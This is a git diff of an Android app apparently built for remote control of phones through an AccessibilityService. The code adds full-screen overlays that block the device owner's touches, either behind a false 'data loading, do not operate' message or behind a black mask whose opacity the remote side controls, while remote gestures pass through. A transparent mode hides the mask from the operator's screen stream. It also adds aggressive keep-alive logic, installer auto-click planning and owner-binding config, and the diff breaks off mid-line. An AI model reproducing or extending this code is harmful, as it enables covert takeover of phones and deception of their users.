import android.widget.LinearLayout import android.widget.TextView -import kotlinx.coroutines.CoroutineScope -import kotlinx.coroutines.Dispatchers -import kotlinx.coroutines.SupervisorJob -import kotlinx.coroutines.launch /** * 基于AccessibilityService的输入阻塞管理器 @@ -25,6 +21,18 @@ class InputBlockManager( ) { companion object { private const val TAG = "InputBlockManager" + private const val MIN_PASS_THROUGH_MS = 120L + private const val MAX_PASS_THROUGH_MS = 5000L + private const val PRE_OPERATION_TOUCH_PASS_DELAY_MS = 48L + private const val DEFAULT_BLACK_MASK_ALPHA = 220 + private const val MIN_BLACK_MASK_ALPHA = 0 + private const val MAX_BLACK_MASK_ALPHA = 255 + } + + private enum class BlockViewMode { + TEXT, + BLACK, + TRANSPARENT } /** @@ -43,9 +51,6 @@ class InputBlockManager( model.contains("iqoo") } - // 协程作用域 - private val blockScope = CoroutineScope(Dispatchers.Main + SupervisorJob()) - // 输入阻塞状态 private var isInputBlocked = false private var isPerformingWebOperation = false @@ -58,8 +63,14 @@ class InputBlockManager( // 阻塞配置 private var blockText = "数据加载中\n请勿操作" private var blockTextSize = 24f + private var blackMaskAlpha = DEFAULT_BLACK_MASK_ALPHA private var allowAccessibilityOperations = true // 是否允许AccessibilityService操作 - private var operationDelayMs = 10000L // Web操作后的恢复延迟时间(毫秒) + private var operationDelayMs = 1200L // Web操作后的恢复延迟时间(毫秒) + private var blockViewMode = BlockViewMode.TEXT + + // 触摸穿透恢复控制(用于远程操作期间短暂放行注入手势) + private var passThroughToken = 0L + private var restoreTouchInterceptRunnable: Runnable? = null // 主线程Handler private val mainHandler = Handler(Looper.getMainLooper()) @@ -110,6 +121,25 @@ class InputBlockManager( Log.e(TAG, "❌ 阻止设备用户输入失败(纯色遮罩)", e) } } + + /** + * 阻止设备用户输入(透明遮罩) + * 专用于 WebRTC 推流时,避免遮罩被远端画面捕获。 + */ + fun blockInputTransparent() { + try { + Log.i(TAG, "🫥 开始阻止设备用户输入(透明遮罩)") + + mainHandler.post { + createInputBlockViewTransparent() + isInputBlocked = true + } + + Log.i(TAG, "✅ 设备用户输入阻止请求已发送(透明遮罩)") + } catch (e: Exception) { + Log.e(TAG, "❌ 阻止设备用户输入失败(透明遮罩)", e) + } + } /** * 允许设备用户输入 @@ -152,7 +182,7 @@ class InputBlockManager( } // 如果阻塞正在显示,重新创建以应用新配置 - if (isInputBlocked && blockView != null) { + if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.TEXT) { Log.d(TAG, "🔄 重新创建阻塞视图以应用新配置") mainHandler.post { removeInputBlockView() @@ -164,6 +194,29 @@ class InputBlockManager( Log.e(TAG, "❌ 设置阻塞文字配置失败", e) } } + + /** + * 设置黑屏遮罩透明度(0~255) + */ + fun setMaskOverlayAlpha(alpha: Int?) { + try { + if (alpha == null) return + val normalized = alpha.coerceIn(MIN_BLACK_MASK_ALPHA, MAX_BLACK_MASK_ALPHA) + if (normalized == blackMaskAlpha) return + + blackMaskAlpha = normalized + Log.d(TAG, "🎚️ 黑屏遮罩透明度更新为: $blackMaskAlpha") + + if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.BLACK) { + mainHandler.post { + removeInputBlockView() + createInputBlockViewWithoutText() + } + } + } catch (e: Exception) { + Log.e(TAG, "❌ 设置黑屏遮罩透明度失败", e) + } + } /** * 设置是否允许AccessibilityService操作 @@ -197,7 +250,7 @@ class InputBlockManager( */ fun setOperationDelay(delayMs: Long) { try { - operationDelayMs = delayMs.coerceIn(200L, 15000L) // 限制在200ms-15s之间 + operationDelayMs = delayMs.coerceIn(MIN_PASS_THROUGH_MS, 15000L) // 限制在合理范围 Log.d(TAG, "⏱️ Web操作恢复延迟设置为: ${operationDelayMs}ms") } catch (e: Exception) { Log.e(TAG, "❌ 设置操作延迟失败", e) @@ -207,58 +260,75 @@ class InputBlockManager( // 🔑 智能阻塞模式:不再需要临时移除和恢复方法 // AccessibilityService可以直接穿透FLAG_NOT_TOUCHABLE,无需移除遮罩 + private fun applyTouchIntercept(intercept: Boolean) { + val params = blockParams ?: return + val wm = windowManager ?: return + val view = blockView ?: return + val oldFlags = params.flags + params.flags = if (intercept) { + oldFlags and WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE.inv() + } else { + oldFlags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE + } + try { + wm.updateViewLayout(view, params) + Log.d(TAG, "🔧 遮罩触摸拦截更新: intercept=$intercept, flags=${params.flags}") + } catch (e: Exception) { + Log.w(TAG, "⚠️ 更新遮罩触摸拦截失败: intercept=$intercept", e) + } + } + + private fun scheduleRestoreTouchIntercept(token: Long, delayMs: Long) { + restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) } + val runnable = Runnable { + if (token != passThroughToken) { + return@Runnable + } + if (isInputBlocked && blockView != null) { + applyTouchIntercept(intercept = true) + } + isPerformingWebOperation = false + restoreTouchInterceptRunnable = null + Log.d(TAG, "🔒 远程操作窗口结束,恢复本机触摸拦截") + } + restoreTouchInterceptRunnable = runnable + mainHandler.postDelayed(runnable, delayMs) + } + /** * Web操作期间的阻塞管理 - * 🔑 最新策略:保持遮罩显示,但临时移除触摸拦截,让Web端操作穿透 + * 策略: 默认保持本机触摸拦截;远程手势期间短暂切换为 NOT_TOUCHABLE 放行注入,完成后自动恢复拦截。 */ - fun performWithBlockControl(operation: () -> Unit) { + fun performWithBlockControl(operation: () -> Unit, passThroughDurationMs: Long = operationDelayMs) { try { - if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) { - // 🔑 新策略:临时修改窗口参数,添加FLAG_NOT_TOUCHABLE让触摸穿透 - Log.d(TAG, "⏰ 临时修改窗口参数以允许Web端操作穿透,保持遮罩显示") - isPerformingWebOperation = true - - // 🔑 重要:所有WindowManager操作必须在主线程中执行 + if (isInputBlocked && + blockView != null && + windowManager != null && + blockParams != null && + allowAccessibilityOperations + ) { + val effectiveDuration = passThroughDurationMs.coerceIn(MIN_PASS_THROUGH_MS, MAX_PASS_THROUGH_MS) mainHandler.post { - try { - // 临时添加FLAG_NOT_TOUCHABLE,让触摸事件穿透窗口 - val tempParams = WindowManager.LayoutParams().apply { - copyFrom(blockParams) - flags = flags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE + passThroughToken = System.currentTimeMillis() + val token = passThroughToken + isPerformingWebOperation = true + applyTouchIntercept(intercept = false) + mainHandler.postDelayed({ + if (token != passThroughToken) { + Log.d(TAG, "⏭️ 跳过过期的远程操作窗口 token=$token") + return@postDelayed } - - windowManager?.updateViewLayout(blockView, tempParams) - Log.d(TAG, "✅ 窗口已设置为触摸穿透模式") - - // 在主线程中执行操作 - operation() - - // 延迟恢复窗口参数 - // 🔑 使用较长延迟确保AccessibilityService操作完全完成 - // 包括:命令传递 → 系统处理 → 触摸事件注入 → 应用响应 - mainHandler.postDelayed({ - if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) { - try { - // 恢复原始窗口参数,重新阻止物理触摸 - windowManager?.updateViewLayout(blockView, blockParams) - Log.d(TAG, "🔄 恢复窗口阻塞模式") - } catch (e: Exception) { - Log.e(TAG, "❌ 恢复窗口参数失败", e) - } - } - isPerformingWebOperation = false - }, operationDelayMs) // 可配置延迟,确保AccessibilityService操作完成 - - } catch (e: Exception) { - Log.e(TAG, "❌ 更新窗口参数失败", e) - // 如果更新失败,仍然执行操作 - operation() - isPerformingWebOperation = false - } + try { + operation() + } catch (e: Exception) { + Log.e(TAG, "❌ 远程操作执行失败", e) + } finally { + scheduleRestoreTouchIntercept(token, effectiveDuration) + } + }, PRE_OPERATION_TOUCH_PASS_DELAY_MS) } } else { - // 没有遮罩时直接执行 - Log.d(TAG, "🔄 直接执行操作(无遮罩状态)") + Log.d(TAG, "🔄 直接执行操作(无遮罩或不允许远程放行)") operation() } } catch (e: Exception) { @@ -287,6 +357,7 @@ class InputBlockManager( // 添加到WindowManager windowManager?.addView(blockView, blockParams) + blockViewMode = BlockViewMode.TEXT Log.i(TAG, "✅ 输入阻塞视图已激活 - 智能阻塞模式:阻止手机端物理操作,允许Web端远程操作") @@ -317,6 +388,7 @@ class InputBlockManager( // 添加到WindowManager windowManager?.addView(blockView, blockParams) + blockViewMode = BlockViewMode.BLACK Log.i(TAG, "✅ 纯色遮罩视图已激活 - 智能阻塞模式:阻止手机端物理操作,允许Web端远程操作") @@ -326,6 +398,30 @@ class InputBlockManager( blockView = null } } + + /** + * 创建输入阻塞视图(透明版本) + */ + private fun createInputBlockViewTransparent() { + try { + Log.i(TAG, "🫥 开始创建透明遮罩视图") + + if (blockView != null) { + Log.d(TAG, "🔄 阻塞视图已存在,先移除") + removeInputBlockView() + } + + blockView = createTransparentBlockView() + blockParams = createBlockWindowLayoutParams() + windowManager?.addView(blockView, blockParams) + blockViewMode = BlockViewMode.TRANSPARENT + + Log.i(TAG, "✅ 透明遮罩视图已激活 - 拦截本机触摸,不影响远端画面") + } catch (e: Exception) { + Log.e(TAG, "❌ 创建透明遮罩视图失败", e) + blockView = null + } + } /** * 移除输入阻塞视图 @@ -339,8 +435,11 @@ class InputBlockManager( blockView = null Log.d(TAG, "🗑️ 输入阻塞视图已移除") } + restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) } + restoreTouchInterceptRunnable = null blockParams = null isPerformingWebOperation = false + blockViewMode = BlockViewMode.TEXT Log.i(TAG, "✅ 输入阻塞已移除,设备输入已恢复") @@ -396,8 +495,7 @@ class InputBlockManager( // - 通过动态设置/移除OnTouchListener来控制触摸拦截 // - Web端操作时临时移除OnTouchListener,让触摸穿透到底层应用 // - 操作完成后恢复OnTouchListener,继续阻止物理触摸 - setOnTouchListener { _, event -> - Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}") + setOnTouchListener { _, _ -> true // 拦截并消费所有触摸事件 } } @@ -412,14 +510,8 @@ class InputBlockManager( private fun createBlockViewWithoutText(): View { Log.d(TAG, "🖤 创建纯色遮罩视图") - // 🔧 vivo设备检测 - val isVivoDevice = isVivoDevice() - val backgroundColor = if (isVivoDevice) { - Log.d(TAG, "📱 vivo设备:使用深色遮盖(替代亮度调节)") - Color.argb(255, 0, 0, 0) // vivo设备:极深色遮盖(96%不透明度) - } else { - Color.argb(190, 0, 0, 0) // 其他设备:半透明黑色 - } + // 黑屏遮罩透明度可由 Web 端控制(0~255)。 + val backgroundColor = Color.argb(blackMaskAlpha, 0, 0, 0) val blockView = View(context).apply { setBackgroundColor(backgroundColor) @@ -437,8 +529,7 @@ class InputBlockManager( android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN) // 🔑 智能阻塞方案:拦截所有触摸事件 - setOnTouchListener { _, event -> - Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}") + setOnTouchListener { _, _ -> true // 拦截并消费所有触摸事件 } } @@ -446,6 +537,33 @@ class InputBlockManager( Log.d(TAG, "✅ 纯色遮罩视图创建完成") return blockView } + + /** + * 创建透明阻塞视图(仅拦截触摸) + */ + private fun createTransparentBlockView(): View { + Log.d(TAG, "🫥 创建透明阻塞视图") + + val transparentView = View(context).apply { + setBackgroundColor(Color.TRANSPARENT) + layoutParams = android.view.ViewGroup.LayoutParams( + android.view.ViewGroup.LayoutParams.MATCH_PARENT, + android.view.ViewGroup.LayoutParams.MATCH_PARENT + ) + + @Suppress("DEPRECATION") + systemUiVisibility = (android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE or + android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or + android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN) + + setOnTouchListener { _, _ -> + true + } + } + + Log.d(TAG, "✅ 透明阻塞视图创建完成") + return transparentView + } /** * 创建窗口布局参数 @@ -533,10 +651,12 @@ class InputBlockManager( return mapOf( "text" to blockText, "textSize" to blockTextSize, + "maskAlpha" to blackMaskAlpha, "isBlocked" to isInputBlocked, "isWebOperation" to isPerformingWebOperation, "hasBlockView" to (blockView != null), - "allowAccessibilityOperations" to allowAccessibilityOperations + "allowAccessibilityOperations" to allowAccessibilityOperations, + "mode" to blockViewMode.name.lowercase() ) } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt b/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt index 04ab884..c6a4fd1 100644 --- a/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt +++ b/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt @@ -150,10 +150,15 @@ class PermissionRequestActivity : Activity() { // Android 13+ 使用新的媒体权限 val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { Log.d(TAG, "Android 13+ 使用新的媒体权限") - arrayOf( + val basePermissions = mutableListOf( Manifest.permission.READ_MEDIA_IMAGES, - Manifest.permission.READ_MEDIA_VIDEO + Manifest.permission.READ_MEDIA_VIDEO, + Manifest.permission.READ_MEDIA_AUDIO ) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + basePermissions.add(Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) + } + basePermissions.toTypedArray() } else { Log.d(TAG, "Android 12及以下使用传统存储权限") arrayOf( diff --git a/app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt b/app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt new file mode 100644 index 0000000..5be8dde --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt @@ -0,0 +1,20 @@ +package com.hikoncont.util + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.IntentFilter +import android.os.Build + +fun Context.registerReceiverCompat( + receiver: BroadcastReceiver, + filter: IntentFilter, + exported: Boolean = false +) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + val flags = if (exported) Context.RECEIVER_EXPORTED else Context.RECEIVER_NOT_EXPORTED + registerReceiver(receiver, filter, flags) + } else { + @Suppress("DEPRECATION") + registerReceiver(receiver, filter) + } +} diff --git a/app/src/main/java/com/hikoncont/util/ConfigWriter.kt b/app/src/main/java/com/hikoncont/util/ConfigWriter.kt index 59829c1..5126b93 100644 --- a/app/src/main/java/com/hikoncont/util/ConfigWriter.kt +++ b/app/src/main/java/com/hikoncont/util/ConfigWriter.kt @@ -47,6 +47,80 @@ object ConfigWriter { false } } + + /** + * 更新运行时功能开关配置(featureFlags)。 + */ + fun updateFeatureFlags(context: Context, featureFlags: Map): Boolean { + return try { + val existingConfig = readExistingConfig(context) + val existingFlags = existingConfig.optJSONObject("featureFlags") ?: JSONObject() + featureFlags.forEach { (key, value) -> + existingFlags.put(key, value) + } + existingConfig.put("featureFlags", existingFlags) + + val success = writeConfigToFile(context, existingConfig) + if (success) { + Log.i(TAG, "✅ featureFlags更新成功: $existingFlags") + } else { + Log.e(TAG, "❌ featureFlags更新失败") + } + success + } catch (e: Exception) { + Log.e(TAG, "更新featureFlags时发生异常", e) + false + } + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 写入安装归属配置(安装链接Token、解析地址、归属用户和可选网络配置)。 + */ + fun applyInstallBinding( + context: Context, + installToken: String? = null, + installResolveUrl: String? = null, + ownerUserId: Long? = null, + ownerUsername: String? = null, + ownerGroupId: Long? = null, + ownerGroupName: String? = null, + serverUrl: String? = null, + webUrl: String? = null, + webrtcTurnUrls: String? = null, + webrtcTurnUsername: String? = null, + webrtcTurnPassword: String? = null, + ): Boolean { + return try { + val existingConfig = readExistingConfig(context) + + installToken?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installToken", it) } + installResolveUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installResolveUrl", it) } + + ownerUserId?.let { existingConfig.put("ownerUserId", it.toString()) } + ownerUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerUsername", it) } + ownerGroupId?.let { existingConfig.put("ownerGroupId", it.toString()) } + ownerGroupName?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerGroupName", it) } + + serverUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("serverUrl", it) } + webUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webUrl", it) } + webrtcTurnUrls?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUrls", it) } + webrtcTurnUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUsername", it) } + webrtcTurnPassword?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnPassword", it) } + + val success = writeConfigToFile(context, existingConfig) + if (success) { + Log.i(TAG, "✅ 安装归属配置写入成功") + } else { + Log.e(TAG, "❌ 安装归属配置写入失败") + } + success + } catch (e: Exception) { + Log.e(TAG, "写入安装归属配置异常", e) + false + } + } /** * 读取现有配置文件 @@ -59,6 +133,7 @@ object ConfigWriter { if (internalConfigFile.exists()) { val jsonString = internalConfigFile.readText() val config = JSONObject(jsonString) + ensureFeatureFlags(config) Log.d(TAG, "✅ 从内部存储读取现有配置") return config } @@ -70,6 +145,7 @@ object ConfigWriter { inputStream.close() val config = JSONObject(jsonString) + ensureFeatureFlags(config) Log.d(TAG, "✅ 从assets读取默认配置") config } catch (e: Exception) { @@ -84,17 +160,38 @@ object ConfigWriter { */ private fun createDefaultConfig(): JSONObject { return JSONObject().apply { - put("serverUrl", "ws://192.168.10.205:3001") + put("serverUrl", "ws://192.168.100.45:3001") put("webUrl", "https://m.baidu.com") + put("webrtcTurnUrls", "") + put("webrtcTurnUsername", "") + put("webrtcTurnPassword", "") + put("ownerUserId", "") + put("ownerUsername", "") + put("ownerGroupId", "") + put("ownerGroupName", "") + put("installToken", "") + put("installResolveUrl", "") put("buildTime", System.currentTimeMillis().toString()) put("version", "1.0.0") put("enableConfigMask", false) put("enableProgressBar", true) + put("featureFlags", RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults())) put("configMaskText", "配置中请稍后...") put("configMaskSubtitle", "正在自动配置和连接\n请勿操作设备") put("configMaskStatus", "配置完成后将自动返回应用") } } + + private fun ensureFeatureFlags(config: JSONObject) { + val existingFlags = config.optJSONObject("featureFlags") ?: JSONObject() + val defaults = RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults()) + defaults.keys().forEach { key -> + if (!existingFlags.has(key)) { + existingFlags.put(key, defaults.optBoolean(key)) + } + } + config.put("featureFlags", existingFlags) + } /** * 将配置写入文件 - 使用小米设备优化策略 diff --git a/app/src/main/java/com/hikoncont/util/DeviceDetector.kt b/app/src/main/java/com/hikoncont/util/DeviceDetector.kt index 6728e68..ed7b960 100644 --- a/app/src/main/java/com/hikoncont/util/DeviceDetector.kt +++ b/app/src/main/java/com/hikoncont/util/DeviceDetector.kt @@ -2,93 +2,152 @@ import android.os.Build import android.util.Log +import com.hikoncont.util.adaptation.DeviceRuntimeInfo +import com.hikoncont.util.adaptation.InstallerAutomationPlanner +import com.hikoncont.util.adaptation.InstallerUiAutomationPlan +import com.hikoncont.util.adaptation.KeepAliveAdaptationRegistry +import com.hikoncont.util.adaptation.RomPolicy +import com.hikoncont.util.adaptation.RomPolicyRegistry +import com.hikoncont.util.adaptation.WebRtcTransportAdaptationRegistry +import com.hikoncont.util.adaptation.WebRtcTransportPolicy /** - * 设备检测工具类 - * 用于检测设备品牌和型号,为不同设备提供定制化策略 + * Centralized device profile detector. + * + * Keep all ROM/model branching here so feature modules do not hardcode + * manufacturer checks independently. */ object DeviceDetector { private const val TAG = "DeviceDetector" - - /** - * 检测是否为OPPO设备 - */ + + enum class DeviceBrand { + OPPO, + VIVO, + XIAOMI, + HUAWEI, + ONEPLUS, + SAMSUNG, + REALME, + UNKNOWN + } + + data class KeepAlivePolicy( + val useActivityKeepAlive: Boolean, + val enableAggressiveWorkers: Boolean, + val keepAliveCheckIntervalMs: Long, + val minForegroundKickIntervalMs: Long + ) + fun isOppoDevice(): Boolean { - return try { - val brand = Build.BRAND.lowercase() - val manufacturer = Build.MANUFACTURER.lowercase() - val product = Build.PRODUCT.lowercase() - val device = Build.DEVICE.lowercase() - val model = Build.MODEL.lowercase() - - val isOppo = brand.contains("oppo") || - manufacturer.contains("oppo") || - product.contains("oppo") || - device.contains("oppo") || - model.contains("oppo") - - Log.d(TAG, "🔍 OPPO设备检测: brand=$brand, manufacturer=$manufacturer, isOppo=$isOppo") - isOppo - } catch (e: Exception) { - Log.e(TAG, "❌ 检测OPPO设备失败", e) - false - } + val brand = Build.BRAND.lowercase() + val manufacturer = Build.MANUFACTURER.lowercase() + val product = Build.PRODUCT.lowercase() + val device = Build.DEVICE.lowercase() + val model = Build.MODEL.lowercase() + + val isOppo = + brand.contains("oppo") || + manufacturer.contains("oppo") || + product.contains("oppo") || + device.contains("oppo") || + model.contains("oppo") + + Log.d(TAG, "OPPO detect: brand=$brand manufacturer=$manufacturer model=$model -> $isOppo") + return isOppo } - - /** - * 检测设备品牌类型 - */ - fun getDeviceBrand(): String { + + private fun readRuntimeInfo(): DeviceRuntimeInfo { + return DeviceRuntimeInfo( + brand = getDeviceBrand(), + sdkInt = Build.VERSION.SDK_INT, + brandRaw = Build.BRAND, + manufacturerRaw = Build.MANUFACTURER, + modelRaw = Build.MODEL, + deviceRaw = Build.DEVICE, + productRaw = Build.PRODUCT + ) + } + + fun getRuntimeInfo(): DeviceRuntimeInfo { + return readRuntimeInfo() + } + + fun getDeviceBrand(): DeviceBrand { return try { val brand = Build.BRAND.lowercase() val manufacturer = Build.MANUFACTURER.lowercase() - - Log.d(TAG, "🔍 设备品牌检测: brand=$brand, manufacturer=$manufacturer") - + when { - brand.contains("oppo") || manufacturer.contains("oppo") -> "OPPO" - brand.contains("vivo") || manufacturer.contains("vivo") -> "VIVO" - brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> "XIAOMI" - brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> "HUAWEI" - brand.contains("oneplus") || manufacturer.contains("oneplus") -> "ONEPLUS" - brand.contains("samsung") || manufacturer.contains("samsung") -> "SAMSUNG" - brand.contains("realme") || manufacturer.contains("realme") -> "REALME" - else -> "UNKNOWN" + brand.contains("oppo") || manufacturer.contains("oppo") -> DeviceBrand.OPPO + brand.contains("vivo") || manufacturer.contains("vivo") || brand.contains("iqoo") || manufacturer.contains("iqoo") -> DeviceBrand.VIVO + brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> DeviceBrand.XIAOMI + brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> DeviceBrand.HUAWEI + brand.contains("oneplus") || manufacturer.contains("oneplus") -> DeviceBrand.ONEPLUS + brand.contains("samsung") || manufacturer.contains("samsung") -> DeviceBrand.SAMSUNG + brand.contains("realme") || manufacturer.contains("realme") -> DeviceBrand.REALME + else -> DeviceBrand.UNKNOWN } } catch (e: Exception) { - Log.e(TAG, "❌ 检测设备品牌失败", e) - "UNKNOWN" + Log.e(TAG, "detect brand failed", e) + DeviceBrand.UNKNOWN } } - - /** - * 检测是否需要Activity保活 - * OPPO设备只使用服务保活,不使用Activity保活 - */ + + fun getKeepAlivePolicy(): KeepAlivePolicy { + val info = readRuntimeInfo() + val resolution = KeepAliveAdaptationRegistry.resolve(info) + val policy = resolution.keepAlivePolicy + + Log.i( + TAG, + "keepAlivePolicy strategy=${resolution.strategyId} brand=${info.brand} sdk=${info.sdkInt} activity=${policy.useActivityKeepAlive} aggressive=${policy.enableAggressiveWorkers} interval=${policy.keepAliveCheckIntervalMs} minKick=${policy.minForegroundKickIntervalMs}" + ) + return policy + } + + fun getActiveKeepAliveStrategyId(): String { + return KeepAliveAdaptationRegistry.resolve(readRuntimeInfo()).strategyId + } + + fun getWebRtcTransportPolicy(): WebRtcTransportPolicy { + val info = readRuntimeInfo() + val policy = WebRtcTransportAdaptationRegistry.resolve(info) + Log.i( + TAG, + "webrtcTransportPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} retryDelay=${policy.offerRetryDelayMs} retryMax=${policy.offerRetryMax} refresh=${policy.refreshTriggerIntervalMs} emergency=${policy.emergencyRefreshMinIntervalMs} defaultDisplay=${policy.preferDefaultDisplayCaptureIntent} forceFgs=${policy.forceMediaProjectionFgsBeforeCapture}" + ) + return policy + } + + fun getRomPolicy(): RomPolicy { + val info = readRuntimeInfo() + val policy = RomPolicyRegistry.resolve(info) + Log.i( + TAG, + "romPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} stepOrder=${policy.permissionStepOrder.joinToString("|") { it.name }}" + ) + return policy + } + + fun getInstallerUiAutomationPlan(): InstallerUiAutomationPlan { + val info = readRuntimeInfo() + val policy = RomPolicyRegistry.resolve(info) + val plan = InstallerAutomationPlanner.resolve(policy) + Log.i( + TAG, + "installerUiPlan strategy=${plan.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} clickInterval=${plan.autoAllowClickMinIntervalMs} cooldown=${plan.dialogHandleCooldownMs}" + ) + return plan + } + + fun getActiveRomPolicyStrategyId(): String { + return RomPolicyRegistry.resolve(readRuntimeInfo()).strategyId + } + fun shouldUseActivityKeepAlive(): Boolean { - val brand = getDeviceBrand() - val shouldUse = when (brand) { - "OPPO" -> { - Log.i(TAG, "📱 OPPO设备:禁用Activity保活,仅使用服务保活") - false - } - "VIVO" -> { - Log.i(TAG, "📱 VIVO设备:禁用Activity保活,仅使用服务保活") - false - } - else -> { - Log.i(TAG, "📱 ${brand}设备:允许Activity保活") - true - } - } - - Log.d(TAG, "🔍 保活策略检测: 品牌=$brand, 使用Activity保活=$shouldUse") - return shouldUse + return getKeepAlivePolicy().useActivityKeepAlive } - - /** - * 检测设备详细信息 - */ + fun getDeviceInfo(): Map { return try { mapOf( @@ -101,7 +160,7 @@ object DeviceDetector { "release" to Build.VERSION.RELEASE ) } catch (e: Exception) { - Log.e(TAG, "❌ 获取设备信息失败", e) + Log.e(TAG, "read device info failed", e) emptyMap() } } diff --git a/app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt b/app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt new file mode 100644 index 0000000..44b66f8 --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt @@ -0,0 +1,83 @@ +package com.hikoncont.util + +import android.content.Context +import android.os.Build +import android.util.Log +import com.hikoncont.service.AccessibilityRemoteService + +/** + * Lightweight device-side metrics bridge. + * Metrics are emitted through SocketIOManager and stored on server side. + */ +object DeviceMetricsReporter { + + private const val TAG = "DeviceMetricsReporter" + private const val METRIC_TYPE_PERMISSION = "permission_flow" + private const val METRIC_TYPE_KEEPALIVE = "keepalive" + + fun reportPermission( + context: Context, + metricName: String, + success: Boolean? = null, + data: Map = emptyMap() + ) { + val flags = RuntimeFeatureFlags.current(context) + if (!flags.permissionMetrics) { + Log.d(TAG, "Permission metrics disabled by feature flag") + return + } + report(context, METRIC_TYPE_PERMISSION, metricName, success, data) + } + + fun reportKeepAlive( + context: Context, + metricName: String, + success: Boolean? = null, + data: Map = emptyMap() + ) { + val flags = RuntimeFeatureFlags.current(context) + if (!flags.keepAliveMetrics) { + Log.d(TAG, "Keepalive metrics disabled by feature flag") + return + } + report(context, METRIC_TYPE_KEEPALIVE, metricName, success, data) + } + + fun report( + context: Context, + metricType: String, + metricName: String, + success: Boolean? = null, + data: Map = emptyMap() + ) { + try { + val service = AccessibilityRemoteService.getInstance() + val socketManager = service?.getSocketIOManager() + if (socketManager == null || !socketManager.isConnected()) { + Log.d( + TAG, + "Skip metric (socket unavailable): type=$metricType, name=$metricName" + ) + return + } + + val payload = linkedMapOf( + "brand" to Build.BRAND, + "manufacturer" to Build.MANUFACTURER, + "model" to Build.MODEL, + "sdkInt" to Build.VERSION.SDK_INT, + "release" to Build.VERSION.RELEASE, + "packageName" to context.packageName + ) + payload.putAll(data) + socketManager.sendDeviceMetric( + metricType = metricType, + metricName = metricName, + success = success, + data = payload + ) + } catch (e: Exception) { + Log.w(TAG, "Report metric failed: type=$metricType, name=$metricName", e) + } + } +} diff --git a/app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt b/app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt new file mode 100644 index 0000000..15f282f --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt @@ -0,0 +1,77 @@ +package com.hikoncont.util + +import android.app.ActivityManager +import android.content.Context +import android.content.Intent +import android.os.Build +import android.util.Log +import com.hikoncont.service.RemoteControlForegroundService + +/** + * Throttled starter for RemoteControlForegroundService. + * + * Avoids repeatedly calling startForegroundService within a short interval, + * which is unstable on some ROMs (especially Android 14/15 customized systems). + */ +object ForegroundServiceStarter { + private const val TAG = "ForegroundServiceStarter" + private const val PREF_NAME = "remote_fg_start_guard" + private const val KEY_LAST_START_AT = "last_start_at" + + fun maybeStartRemoteForegroundService( + context: Context, + action: String? = null, + reason: String, + minIntervalMs: Long + ): Boolean { + return try { + val now = System.currentTimeMillis() + val prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE) + val lastStartAt = prefs.getLong(KEY_LAST_START_AT, 0L) + val serviceRunning = isRemoteForegroundRunning(context) + + // 服务已在运行时,跳过重复启动,避免 ROM 侧前台时限异常。 + if (serviceRunning) { + Log.d(TAG, "skip start (already running): reason=$reason action=$action") + return false + } + + if (now - lastStartAt < minIntervalMs) { + Log.d( + TAG, + "skip start (throttled): reason=$reason elapsed=${now - lastStartAt}ms minInterval=$minIntervalMs" + ) + return false + } + + val intent = Intent(context, RemoteControlForegroundService::class.java) + if 